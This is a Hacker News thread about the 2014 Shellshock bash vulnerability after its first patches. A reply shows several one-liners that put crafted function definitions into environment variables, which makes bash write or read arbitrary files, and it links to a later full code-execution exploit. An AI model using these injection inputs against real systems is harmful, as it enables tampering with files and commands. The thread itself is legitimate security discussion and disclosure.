Hacker News Reader

Comment by gwillen | Hacker News Reader

Don't think "how can an attacker get me by prepending '>' or '<' to a commandline?" (You did realize that '<' is also possible, right? Did you check what else is possible?)

Think "the buggy bash parser is still exposed to an attacker, and nobody really knows what it can be made to do."

View on HN

Yeah, I hear you.

Well let's see...

All of these work for me (bash 4.3 including yesterday's patches on Debian sid amd64):

    hobbes@metalbaby:~$ unset badvar; rm somefile; export badvar='() { (a)=>\'; bash -c "somefile echo tricksie"; cat somefile 
    hobbes@metalbaby:~$ unset badvar; rm somefile; export badvar='() { (b)=>\'; bash -c "somefile echo tricksie"; cat somefile 
    hobbes@metalbaby:~$ unset badvar; rm somefile; export badvar='() { (gooooooaaaal)=>\'; bash -c "somefile echo tricksie"; cat somefile 
    hobbes@metalbaby:~$ unset badvar; rm somefile; export badvar='() { (a).>\'; bash -c "somefile echo tricksie"; cat somefile 
    hobbes@metalbaby:~$ unset badvar; rm somefile; export badvar='() { (a)[>\'; bash -c "somefile echo tricksie"; cat somefile 
    hobbes@metalbaby:~$ unset badvar; rm somefile; export badvar='() { (a)=>\'; bash -c "somefile echo tricksie"; cat somefile 
    hobbes@metalbaby:~$ unset badvar; echo tricksie > inputfile; export badvar='() { (a)=<\'; bash -c "inputfile cat";

As a followup, someone finally did find a full-blown 'execute whatever you like' exploit for the patched version of bash.

http://lcamtuf.blogspot.com/2014/10/bash-bug-how-we-finally-...

Reply on news.ycombinator.com